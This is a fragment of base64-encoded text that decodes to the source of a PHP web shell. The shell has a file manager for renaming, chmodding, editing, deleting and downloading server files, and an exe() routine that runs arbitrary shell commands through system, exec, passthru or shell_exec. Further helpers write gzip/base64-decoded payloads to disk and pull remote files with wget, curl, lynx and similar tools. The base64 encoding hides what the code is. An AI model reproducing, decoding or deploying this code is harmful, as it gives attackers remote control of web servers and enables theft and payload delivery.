UWkR6SFpEZmVlT2luZHhqZjVNM3RrTXVNTFRFc3dWcXlqTnpsZUVxU0daNzRLckVaVmNGbjFRUE1jZk43ZzRJUGxQTU4wTjhhL0l5Ujl4dGhKcnlURFZBdU01QnVzNmpCYVBsS0I4NXhXMFhJYVliK2J4cmtMTlhJTDVVUXhKVnhSUmZPTTBMWm5tejhpaXZ5b3lXd1lhUlVoUzhMWUw0V0FyeHVSSmlvb3ExQXVMVEdSOW5PWmQ1ejVRMlJvL3lxc3pJYVZneGJFWG15OE9RYndvaDNwZEF2ck5DdkQ0S01Yd2NjcmlBVlZGSVBSL2lRekdoUjNsZk1NT3NDWTRjaFBWYjhKUEl3VnpJNXptUUEyYUkvDQppek83QWV6T1ZOelpFTU01VkduUjNuSkwwY3VJbkVySGNIMkRIVGIwK0RzemNTcmgxbHdQamI3c01ENWhLajVrUWxPcGZYUlkwK0hzenNEUFowWjJJamNNS3l1VHNYbTVqUm9iK3lCdG5VZnRHMEhTQmEwN1FxVHQ3YnU5Mm90ZTZGdFRvZVdtUzFIZEZqMXp6L3piOVpxbWxaODY2WTZBQUFBQUVsRlRrU3VRbUNDJyAvPiAgWyAkZm9sZGVyIF08L2E+IA0KPGZvcm0gYWN0aW9uPVwiP3k9JHB3ZFwiIG1ldGhvZD1cInBvc3RcIiBpZD1cIiIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm1cIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+IA0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwib2xkbmFtZVwiIHZhbHVlPVwiIi4kZm9sZGVyLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MjAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3bmFtZVwiIHZhbHVlPVwiIi4kZm9sZGVyLiJcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwicmVuYW1lXCIgdmFsdWU9XCJyZW5hbWVcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiY2FuY2VsXCIgdmFsdWU9XCJjYW5jZWxcIiBvbmNsaWNrPVwidHVrYXIoJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm0nLCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9saW5rJyk7XCIgLz4NCjwvZm9ybT4gPC90ZD48dGQ+RElSPC90ZD48dGQgc3R5bGU9XCJ0ZXh0LWFsaWduOmNlbnRlcjtcIj4iLiRvd25lci4iPC90ZD48dGQ+PGNlbnRlcj4NCjxhIGhyZWY9XCJqYXZhc2NyaXB0OnR1a2FyKCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9saW5rJywnIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfZm9ybTMnKTtcIj4iLmdldF9wZXJtcygkcHdkLiRmb2xkZXIpLiI8L2E+DQo8Zm9ybSBhY3Rpb249XCI/eT0kcHdkXCIgbWV0aG9kPVwicG9zdFwiIGlkPVwiIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfZm9ybTNcIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+IA0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiIi4kZm9sZGVyLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MjAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3dmFsdWVcIiB2YWx1ZT1cIiIuc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRwd2QuJGZvbGRlcikpLCAtNCkuIlwiIC8+IA0KPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJjaG1vZF9mb2xkZXJcIiB2YWx1ZT1cImNobW9kXCIgLz4gDQo8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cImNhbmNlbFwiIHZhbHVlPVwiY2FuY2VsXCIgDQpvbmNsaWNrPVwidHVrYXIoJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZvbGRlcikuIl9mb3JtMycpO1wiIC8+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii5kYXRlKCJkLU0tWSBIOmkiLEBmaWxlbXRpbWUoJGZvbGRlcikpLiI8L3RkPjx0ZD48YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcignIi5jbGVhcnNwYWNlKCRmb2xkZXIpLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZm9sZGVyKS4iX2Zvcm0nKTtcIj5yZW5hbWU8L2E+fCA8YSBocmVmPVwiP3k9JHB3ZCZhbXA7ZmRlbGV0ZT0iLiRwd2QuJGZvbGRlci4iXCI+ZGVsZXRlPC9hPg0KPC90ZD4NCjwvdHI+Ijt9fWZvcmVhY2goJGZuYW1lIGFzICRmaWxlKXsgDQokZnVsbCA9ICRwd2QuJGZpbGU7IA0KaWYoISR3aW4gJiYgJHBvc2l4KXskbmFtZT1AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkZmlsZSkpOyAkZ3JvdXA9QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJGZpbGUpKTsgJG93bmVyID0gJG5hbWVbJ25hbWUnXS4iPHNwYW4gY2xhc3M9XCJnYXlhXCI+IDogPC9zcGFuPiIuJGdyb3VwWyduYW1lJ107fSANCmVsc2UgeyAkb3duZXIgPSAkdXNlcjsgfSANCiRidWZmIC49ICI8dHI+PHRkPjxhIGlkPVwiIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmtcIiBocmVmPVwiP3k9JHB3ZCZhbXA7dmlldz0kZnVsbFwiPjxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjgvOWhBQUFBQVhOU1IwSUFyczRjNlFBQUFBUm5RVTFCQUFDeGp3djhZUVVBQUFBSmNFaFpjd0FBRHNNQUFBN0RBY2R2cUdRQUFBQWFkRVZZZEZOdlpuUjNZWEpsQUZCaGFXNTBMazVGVkNCMk15NDFMakV3TVBSeW9RQUFBWFZKUkVGVU9FK05ranRQd2xBWWh2MERMRVpKU0RRYXdRQ1RjWUQvWVdJa3pxeDBjSFQxRDdDNG5NUkZTZE9XaTR1em05RkZYY1JCSTNLeFFHbExvWUNBSUx5ZWtoaVJ3NlVuZVpLbWViOG43OWVlcGFXLzQzZTVYRkdmejBjc3ZGNHY4WGkyeWZyR0psbGVjUklhMnhuTE1vK09jRGlzNmtZTnVsRWZVZEVNWkQvS3VIMUlRN3k2UmlRUzBlWkpBb2xraWc2VS9wSEp5MGkvdk9QbS9nbmxpa1lsM0V4Sk1KbTZoRnhXR1FwRmhVcXlLSlFxeU5GR0hNZnB0TW51NUE1VWtCclZacWtpTHl0NHpjckk1SXQ0eThuWTJ3OVprclZ4U2RCYW9Wb3paNkxxdFZHRHU4ZG5IQjJmZ0E0SEdZSFphR0UyVFJqMUJvcUtobE55eGdyaWlTUmFuKzJGbU0wV1lyekFDaVFxNkhTN0MybDN1aERqaVNrQyt2S3IxN09GTkUwZ1NuSDArOSsyc0xMTVJ4UkVDWVBCd0JhQ09FWEFDeUtHdzZFdGVFRmlHZ1RPWXp6c25ndWFwU3NFeHUrQjR5QjBxSllVbGY1cmN5NVd4c3JTWWNma2RmYXZPcDNSTGJlYnpNUEswRUgvNy9BUHY1OWo3WCtnSk5JQUFBQUFTVVZPUks1Q1lJSSUzRCcgLz4gICRmaWxlPC9hPiANCjxmb3JtIGFjdGlvbj1cIj95PSRwd2RcIiBtZXRob2Q9XCJwb3N0XCIgaWQ9XCIiLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybVwiIGNsYXNzPVwic2VtYnVueWlcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIj4gDQo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJvbGRuYW1lXCIgdmFsdWU9XCIiLiRmaWxlLiJcIiBzdHlsZT1cIm1hcmdpbjowO3BhZGRpbmc6MDtcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0elwiIHN0eWxlPVwid2lkdGg6MjAwcHg7XCIgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3bmFtZVwiIHZhbHVlPVwiIi4kZmlsZS4iXCIgLz4gDQo8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cInJlbmFtZVwiIHZhbHVlPVwicmVuYW1lXCIgLz4gDQo8aW5wdXQgY2xhc3M9XCJpbnB1dHpidXRcIiB0eXBlPVwic3VibWl0XCIgbmFtZT1cImNhbmNlbFwiIHZhbHVlPVwiY2FuY2VsXCIgb25jbGljaz1cInR1a2FyKCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfbGluaycsJyIuY2xlYXJzcGFjZSgkZmlsZSkuIl9mb3JtJyk7XCIgLz4NCjwvZm9ybT48L3RkPjx0ZD4iLnVrdXJhbigkZnVsbCkuIjwvdGQ+PHRkIHN0eWxlPVwidGV4dC1hbGlnbjpjZW50ZXI7XCI+Ii4kb3duZXIuIjwvdGQ+PHRkPjxjZW50ZXI+DQo8YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcignIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybTInKTtcIj4iLmdldF9wZXJtcygkZnVsbCkuIjwvYT4NCjxmb3JtIGFjdGlvbj1cIj95PSRwd2RcIiBtZXRob2Q9XCJwb3N0XCIgaWQ9XCIiLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybTJcIiBjbGFzcz1cInNlbWJ1bnlpXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCI+IA0KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiIi4kZmlsZS4iXCIgc3R5bGU9XCJtYXJnaW46MDtwYWRkaW5nOjA7XCIgLz4gDQo8aW5wdXQgY2xhc3M9XCJpbnB1dHpcIiBzdHlsZT1cIndpZHRoOjIwMHB4O1wiIHR5cGU9XCJ0ZXh0XCIgbmFtZT1cIm5ld3ZhbHVlXCIgdmFsdWU9XCIiLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkZnVsbCkpLCAtNCkuIlwiIC8+IA0KPGlucHV0IGNsYXNzPVwiaW5wdXR6YnV0XCIgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJjaG1vZFwiIHZhbHVlPVwiY2htb2RcIiAvPiANCjxpbnB1dCBjbGFzcz1cImlucHV0emJ1dFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiY2FuY2VsXCIgdmFsdWU9XCJjYW5jZWxcIiBvbmNsaWNrPVwidHVrYXIoJyIuY2xlYXJzcGFjZSgkZmlsZSkuIl9saW5rJywnIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2Zvcm0yJyk7XCIgLz48L2Zvcm0+PC9jZW50ZXI+PC90ZD4NCjx0ZCBzdHlsZT1cInRleHQtYWxpZ246Y2VudGVyO1wiPiIuZGF0ZSgiZC1NLVkgSDppIixAZmlsZW10aW1lKCRmdWxsKSkuIjwvdGQ+IA0KPHRkPjxhIGhyZWY9XCI/eT0kcHdkJmFtcDtlZGl0PSRmdWxsXCI+ZWRpdDwvYT4gfCA8YSBocmVmPVwiamF2YXNjcmlwdDp0dWthcignIi5jbGVhcnNwYWNlKCRmaWxlKS4iX2xpbmsnLCciLmNsZWFyc3BhY2UoJGZpbGUpLiJfZm9ybScpO1wiPnJlbmFtZTwvYT58IDxhIGhyZWY9XCI/eT0kcHdkJmFtcDtkZWxldGU9JGZ1bGxcIj5kZWxldGU8L2E+IHwgPGEgaHJlZj1cIj95PSRwd2QmYW1wO2RsPSRmdWxsXCI+ZG93bmxvYWQ8L2E+Jm5ic3A7KDxhIGhyZWY9XCI/eT0kcHdkJmFtcDtkbGd6aXA9JGZ1bGxcIj5nejwvYT4pDQo8L3RkPjwvdHI+Ijt9IA0KJGJ1ZmYgLj0gIjwvdGFibGU+IjsgcmV0dXJuICRidWZmO30NCmZ1bmN0aW9uIHVrdXJhbigkZmlsZSl7aWYoJHNpemUgPSBAZmlsZXNpemUoJGZpbGUpKXtpZigkc2l6ZSA8PSAxMDI0KSByZXR1cm4gJHNpemU7ZWxzZXtpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwMjQsMik7Ow0KcmV0dXJuICIkc2l6ZSBrYiI7fSBlbHNlIHskc2l6ZSA9IEByb3VuZCgkc2l6ZSAvIDEwMjQgLyAxMDI0LDIpO3JldHVybiAiJHNpemUgbWIiO319fQ0KZWxzZSByZXR1cm4gIj8/PyI7fSBmdW5jdGlvbiBleGUoJGNtZCl7aWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkge0BvYl9zdGFydCgpO0BzeXN0ZW0oJGNtZCk7JGJ1ZmYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7JGJ1ZmYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7QG9iX2VuZF9jbGVhbigpOw0KcmV0dXJuICRidWZmO30gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7QGV4ZWMoJGNtZCwkcmVzdWx0cyk7JGJ1ZmYgPSAiIjtmb3JlYWNoKCRyZXN1bHRzIGFzICRyZXN1bHQpeyRidWZmIC49ICRyZXN1bHQ7fSByZXR1cm4gJGJ1ZmY7fSANCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1Jykpe0BvYl9zdGFydCgpO0BwYXNzdGhydSgkY21kKTskYnVmZiA9IEBvYl9nZXRfY29udGVudHMoKTtAb2JfZW5kX2NsZWFuKCk7cmV0dXJuICRidWZmO30gDQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpeyRidWZmID0gQHNoZWxsX2V4ZWMoJGNtZCk7cmV0dXJuICRidWZmO319IGZ1bmN0aW9uIHR1bGlzKCRmaWxlLCR0ZXh0KXskdGV4dHogPSBnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkdGV4dCkpO2lmKCRmaWxleiA9IEBmb3BlbigkZmlsZSwidyIpKSB7QGZwdXRzKCRmaWxleiwkdGV4dHopO0BmY2xvc2UoJGZpbGUpO319IA0KZnVuY3Rpb24gYW1iaWwoJGxpbmssJGZpbGUpIHtpZigkZnAgPSBAZm9wZW4oJGxpbmssInIiKSl7d2hpbGUoIWZlb2YoJGZwKSl7JGNvbnQuPSBAZnJlYWQoJGZwLDEwMjQpO31AZmNsb3NlKCRmcCk7JGZwMiA9IEBmb3BlbigkZmlsZSwidyIpO0Bmd3JpdGUoJGZwMiwkY29udCk7QGZjbG9zZSgkZnAyKTt9IH0gDQpmdW5jdGlvbiB3aGljaCgkcHIpeyRwYXRoID0gZXhlKCJ3aGljaCAkcHIiKTsNCmlmKCFlbXB0eSgkcGF0aCkpIHtyZXR1cm4gdHJpbSgkcGF0aCk7fQ0KZWxzZSB7cmV0dXJuIHRyaW0oJHByKTt9fQ0KZnVuY3Rpb24gZG93bmxvYWQoJGNtZCwkdXJsKXskbmFtYWZpbGUgPSBiYXNlbmFtZSgkdXJsKTsNCnN3aXRjaCgkY21kKXtjYXNlICd3d2dldCc6IGV4ZSh3aGljaCgnd2dldCcpLiIgIi4kdXJsLiIgLU8gIi4kbmFtYWZpbGUpO2JyZWFrO2Nhc2UgJ3dseW54JzogZXhlKHdoaWNoKCdseW54JykuIiAtc291cmNlICIuJHVybC4iID4gIi4kbmFtYWZpbGUpO2JyZWFrO2Nhc2UgJ3dmcmVhZCcgOiBhbWJpbCgkd3VybCwkbmFtYWZpbGUpO2JyZWFrO2Nhc2UgJ3dmZXRjaCcgOiBleGUod2hpY2goJ2ZldGNoJykuIiAtbyAiLiRuYW1hZmlsZS4iIC1wICIuJHVybCk7YnJlYWs7Y2FzZSAnd2xpbmtzJyA6IGV4ZSh3aGljaCgnbGlua3MnKS4iIC1zb3VyY2UgIi4kdXJsLiIgPiAiLiRuYW1hZmlsZSk7YnJlYWs7Y2FzZSAnd2dldCcgOiBleGUod2hpY2goJ0dFVCcpLiIgIi4kdXJsLiIgPiAiLiRuYW1hZmlsZSk7YnJlYWs7Y2FzZSAnd2N1cmwnIDogZXhlKHdoaWNoKCdjdXJsJykuIiAiLiR1cmwuIiAtbyAiLiRuYW1hZmlsZSk7YnJlYWs7ZGVmYXVsdDogYnJlYWs7fQ0KcmV0dXJuICRuYW1hZmlsZTt9ZnVuY3Rpb24gZ2V0X3Blcm1zKCRmaWxlKSB7aWYoJG1vZGU9QGZpbGVwZXJtcygkZmlsZSkpeyRwZXJtcz0nJzskcGVybXMgLj0gKCRtb2RlICYgMDA0MDApID8gJ3InIDogJy0nOyRwZXJtcyAuPSAoJG1vZGUgJiAwMDIwMCkgPyAndycgOiAnLSc7JHBlcm1zIC49ICgkbW9kZSAmIDAwMTAwKSA/ICd4JyA6ICctJzskcGVybXMgLj0gKCRtb2RlICYgMDAwNDApID8gJ3InIDogJy0nOyRwZXJtcyAuPSAoJG1vZGUgJiAwMDAyMCkgPyAndycgOiAnLSc7JHBlcm1zIC49ICgkbW9kZSAmIDAwMDEwKSA/ICd4JyA6ICctJzskcGVybXMgLj0gKCRtb2RlICYgMDAwMDQpID8gJ3InIDogJy0nOyRwZXJtcyAuPSAoJG1vZGUgJiAwMDAwMikgPyAndycgOiAnLSc7JHBlcm1zIC49ICgkbW9kZSAmIDAwMDAxKSA/ICd4JyA6ICctJzsNCnJldHVybiAkcGVybXM7fWVsc2UgcmV0dXJuICI/Pz8/Pz8/Pz8/Ijt9ZnVuY3Rpb24gY2xlYXJzcGFjZSgkdGV4dCl7cmV0dXJuIHN0cl9yZXBsYWNlKCIgIiwiXyIsJHRleHQpO30NCiR0dW5pc2lhID0gJ2Jhc2U2NCwvOWovNEFBUVNrWkpSZ0FCQVFBQUFRQUJBQUQvL2dBN1ExSkZRVlJQVWpvZ1oyUXRhbkJsWnlCMk1TNHdJQ2gxYzJsdVp5QkpTa2NnU2xCRlJ5QjJOaklwTENCeGRXRnNhWFI1SUQwZ09UQUsvOXNBUXdBREFnSURBZ0lEQXdNREJBTURCQVVJQlFVRUJBVUtCd2NHQ0F3S0RBd0xDZ3NMRFE0U0VBME9FUTRMQ3hBV0VCRVRGQlVWRlF3UEZ4Z1dGQmdTRkJVVS85c0FRd0VEQkFRRkJBVUpCUVVKRkEwTERSUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVRkJRVUZCUVVGQlFVLzhBQUVRZ0E5UUlJQXdFaUFBSVJBUU1SQWYvRUFCOEFBQUVGQVFFQkFRRUJBQUFBQUFBQUFBQUJBZ01FQlFZSENBa0tDLy9FQUxVUUFBSUJBd01DQkFNRkJRUUVBQUFCZlFFQ0F3QUVFUVVTSVRGQkJoTlJZUWNpY1JReWdaR2hDQ05Dc2NFVlV0SHdKRE5pY29JSkNoWVhHQmthSlNZbktDa3FORFUyTnpnNU9rTkVSVVpIU0VsS1UxUlZWbGRZV1ZwalpHVm1aMmhwYW5OMGRYWjNlSGw2ZzRTRmhvZUlpWXFTazVTVmxwZVltWnFpbzZTbHBxZW9xYXF5czdTMXRyZTR1YnJDdzhURnhzZkl5Y3JTMDlUVjF0ZlkyZHJoNHVQazVlYm42T25xOGZMejlQWDI5L2o1K3YvRUFCOEJBQU1CQVFFQkFRRUJBUUVBQUFBQUFBQUJBZ01FQlFZSENBa0tDLy9FQUxVUkFBSUJBZ1FFQXdRSEJRUUVBQUVDZHdBQkFnTVJCQVVoTVFZU1FWRUhZWEVUSWpLQkNCUkNrYUd4d1Frak0xTHdGV0p5MFFvV0pEVGhKZkVYR0JrYUppY29LU28xTmpjNE9UcERSRVZHUjBoSlNsTlVWVlpYV0ZsYVkyUmxabWRvYVdwemRIVjJkM2g1ZW9LRGhJV0doNGlKaXBLVGxKV1dsNWlabXFLanBLV21wNmlwcXJLenRMVzJ0N2k1dXNMRHhNWEd4OGpKeXRMVDFOWFcxOWpaMnVMajVPWG01K2pwNnZMejlQWDI5L2o1K3YvYUFBd0RBUUFDRVFNUkFEOEErVnBGQnJNMUNBajVoV214cGtrWWRDRFh4U2RqL1FPdlNWYUxpVjlPdVBNVGFUeUtXL3N4Tkdhb3NyV2srUndNMXJ3eUNhTUdtOUhkSE5RYXIwM1FxYm80MitzdHJIaXM0cHRPQ0s3UFVMSU9wd0s1cTh0U2hQRmRkT2R6NGpNc3ZkQ1YwaW1pQTA4UkE5cWF1WXppcDRqbXRUeDZjVTlHSUljakdLUTIrMDFjaVVHcHZLQkZaODFqMFk0WlRXaG5DTWlwRlhGV210OGRLYjVXS2ZNQ29PTElsV3BGSFNuQ09wRlRGVGMzalRZS09La0E0cEF0U0JhaHM3b1JGVVZLQmltcXRTQmFsbmJDSTVhY0Rpays3VEdrQzFKMFg1ZHlVdmdVaHVGRlZYbE5STVNhYWlZeXhMV3hkT29CT2dxSjlUWTlxamdzWnJnL0t2SHFhdlE2Qm5tUjhmU2g4cTNLZ3NaWCtCYUdZK29zYWlONlQxcm9rOFAydzZrbXBCb0ZvUDREUzlwQkduOWxZNmVya3Z2T1grMVo3MG91QWE2ZzZEWi84ODZZMmhXWS9oL1duN1dKTHlmR0xlU09jRW9QZWxEZTliYjZSWXhubkkvR3E3MjFqR2VDZnpwODZaenl3RmFuOGNvL2VaMmMwMTR3YXVPdG4yY2lvbldBL2RrL09xdWMwNk50RzAvbVowOFZRMnN2bFM0UFN0QjR3UWNNRFZDYUlnOU9hMFR2b2VSV3B1bkpUaWFUU0Fya0dzMjV2dGhJcGd1V1FiVFZaMTgxaVRUakcyNWhpTVZLY1VvYml0Zk0zU29tbmtiT00xUEhDbzZpcEFpZ2RLMDBSNTNKVW5yS1JtUEE4eDV6VDQ3QUtlUldqa0QwRkl6Z1UrWm1Td2xOUG1rN2xYeU52dFRUQnU0SFdwMllFMVBiUUJtQnBYc1hHaEdvK1dJdW42WHVZRWl1a3Q3WVJSWUFxS3lnQVVWZUs0VVZ4em01TSs2eS9CUW9RdWtWaUtobmp5S3NrVkhJT0tsTTY2a0xxeGp6eDRKcDFqeEtLbXVJODVwbG9QM29yZStoNEhzK1dzanFiQTVpRldKT2xRMlM0aVdwSk90Y1QzUDBlbHBTUXlrYmdacHdHYWpuNFEwRVMwaTJRUnJ1bE5Hb3Y4aW9LbHRrNXpWYThPNmNWUzNPS2E1YUw4elAxQ2I3UGJISFU4VmJIN2pSaDY3YzFqNnZKNWwxREVPbTZ0clVsMjZaZ2RsclZyUmVaNGxHbzVUcnlYMlkyT0F1U1dtY251YXJ1dVJWaWNmTVQ3MUNSa1Y2U1B5ZXFyeWR5QWNWWmk1R2FnQ2M0cXhHS2JNS1MxTEVDNUlGZERwY1B6Q3NXelRMQ3VxMHFEQ2c0cmtxdXlQdDhtb09jMHpYdDAyb0tmSTIxYWNvd0FLaHVEaFRYQjFQMDkrNUF6cnVUazBWQmNuazBWdXRqNVd0TnViTmh1dFBUbW1OMXB5R3NUNmVMOTRodkxiekV6am1xbGpPWVpmTFk0RmEyQXd4V1hmMnhSdDZqa1ZVWGZSbkxpYWJweVZlbjBORjFEcldIcU5ua0VnVnFXTjBKa3dlb3AxMUQ1aW5paE54WVlpbkRGMGJvNG00aTJ0VWNiWU5hdW9XdTFqeFdWS2hSdlN1Nkx1ajgxeEZGMEpzdXd2MHE5RnlLeW9YeGl0RzNmaXM1STlIQzFFeXlZd2FZMFB0VThmelUvWURXVnoydlpxU3VWUEt4MnBSSHgwcXhzbzJVN2sreHNRS2xTS3RQMlV1TVVybWloWVFERkJiRk5ac1ZFejVvc0tVMUhZZThsUWx5YUFyT2NDcnRycGpTY3NNQ25kTGN6akNwWGRvSXFSUVBPd0Nqcld0YTZZa1EzU2ZNM3BWbUtCTGRjS09mV2huckp5YjJQY29ZS0ZCYzFUVmp2TVZCZ0RGTEd4YzFDcU5LMkIwcTJpQ05jRHJXYlBUcDgwM2ZvU0x3S1JwUUtqa2wyRGsxajZqcktRZ2hUelFvdVQwSGlNWFR3MEx6ZGpSdWRRU0VaTFZoWHZpTEdRbFlWOXFqU3NmbU5aN1N0STFkc0tQYy9QTWZ4RE9iY2FPaHF6NnhKS1Q4MktxbStkajFOVmxpSjYwOWsyajNyZFJpajVxV0pyMWZla3laYmhpZnZWS2tySHZXZnVJTlRSTzNyVHNSVHJ0dXpMdm10NjA0VEdraVhjS2MwZUt6MFBVWFBhNll4Z3JqcHpVVFJZNkduTXZYdFNESTYwMFlTMTNSSHRaVFRXWnMxWVVnaWxLRHJpbmNqMmQ5bVZmbU5KZ21ySlVVb2pGRnlQWk45U29SaXJ0aEtOd0ZOTUdlMVJoVEMrYUhaNkZVNHlvelV1aDFsb01vS3NPZUtvNlRONWtZcXhLL0pGY0RXcCtpMGFrWFJVbDFIOWFoY1VxdGs5YUhwaEpwb3BYQXdEVVZsSG1iOGFudUJUYklmdlJtdGVoNURnblhSMHRxdUVBOXFXUWNtaTJQeUFVUHlhNU9wOTJ2NGFHanBVTndhbXFDWWZOVkk1NnZ3a2tBd2hxak56S3hxK25FUnFoSi9FYWFPYkVhUWlqQWtVemFxbnNhNkxVRTNXRER2aXNTQ0luVWczdlcvZGdHMGI2VnJONm84TEw2ZDZWZHZyYzg3dVVJZHZyVVJYNWF1M3EvdkgrdFY5dUZydlQwUHpPclR0Tm9yRmNHcG9WcGg2MWJzb2pJNEFGVkoyUmhScDgwK1ZHanBsdVhZY1YxMWxEdFFjWXJNMDIxV05WSndEVzNDUXc0NlY1dFNWMmZyT1VZUlVZSnZjZmlvYmhjcWFzZ1V5Uk1pc1Q2YWNPYU5qQXVWb3F6ZXc3U2FLM1QwUGtLOUpxYlJmYnJRcDVwemQ2WURXSjlLOUdUSWFXV01TSVJVYUhGVEszRkk2STJrck14am16dU0vd2sxcUk0bGp5S2p2cllTb2VPYXAyTTVpZnkzL0NyM1Z6elkzdzFYMmIrRmlYOXFHQk9LNTI3dDlwTmRsTEdIVTFoNmphWnpnVnBUbDBQSXpUQktTNTRvNThIYWF1VzhtTVZYbWoyTWFJbTJtdXA2bytPcHQwNTJadHdQa1ZaVVpGWnRySmtpdFNFNUZjMHRENjNDejlvaHBGR0tsWmMxR1JnMUZ6dGNiRFNLWTFTRVpwTnVhZHpLVWV4WFpTVFNyRnZZQURtcDltS3VXVnVNN2lLSEt3cVdIZFNYS090TEJZZ0dZWk5XandLZWFZMVl0M1BvNFVvMG84c1VNYzRwZ1hlY0NsZmo2MUxGSHRIUFdtUW91Y3JEa1VJdkZObGtDTGs4VVNTQkFhd2RYMVlScVZVODA0eGNtWll2RlF3bE55a3htcmF4c3lvTmN2ZDN6U01lYVplWGhsYzVQTlZFUnBHeWE5S0ZOUlIrUTVqbWRURjFHa3g2N3BUVnFLRUFVa1VlMGRLOU8rRy93RThXZkVrSlBaMllzZE1KNTFDOHlrWkgreU9yL2dNZTlYckoyaWp5NVZLR0RwdXRpWnFLN3M4NHh0UEZJSUpiaHdrVWJTeUhvcUFrbjhLKzFmQi83SlBoTHc0c1Urc1NUYS9kcnl3bFBsd1o5a1hrL2lUWHBsdG9PbGFCYkMzMHZUN1hUNFFNQkxhRll4K2dycmhoSnZXVHNmSDQzakxDVTd3dzBIUHorRmZxL3dSOEM2UDhIZkd1dXFyV25ocS8yTjBlZUx5VlA0dmdWM3VnZnNsK09OVWFQN1IvWjJtcWV2Mmk1M0VmOEFmQWIrZGZYWjYxYXM1dGpBWnJvV0ZoMVo4dlU0dnhyZjdxRVkvSnQvbitoNEhvMzdDMnJYS2czUGlxeGl6Mmh0bmY4QW1WcTNxWDdBL2lCSVMybitLTk11bi91M0VNa1g2amRYMDlvbW9iU0FUeFhYV2wwR1FEZHpWZlZLWFl5anhqbkVYL0VWdTNMSC9JL1BUeFIreDc4Uy9EcVBKSHBNR3J3cnlYMDY1VnorQ3R0WS9nSzhrMTd3dnEzaG02TnRxK21YZWwzQS93Q1dWNUEwVEg4R0FyOWVOaXl4NDcxamEzNGZzdFh0WHR0UXNvTCsxY1lhQzVpV1JHK29JeFdNc0hIN0xQYXczSFdKaTdZcWxHUzhycC9xdnlQeUtLWTlxZUZKR0RYMy93Q1BmMk5mQlhpcEpKOUpXWHcxZk1jZzJuendaOTR6MEgrNlJYeXI4VmYyY2ZHSHdyZVM0dTdUKzB0SFU4YWxZZ3ZHQi90anFuNDhlNXJpcVVLbFBkYUgzK1djUlpkbVRVS2MrV2IrekxSL0xvL2s3K1I1VTBWV2JPMkV6WXpVT0RT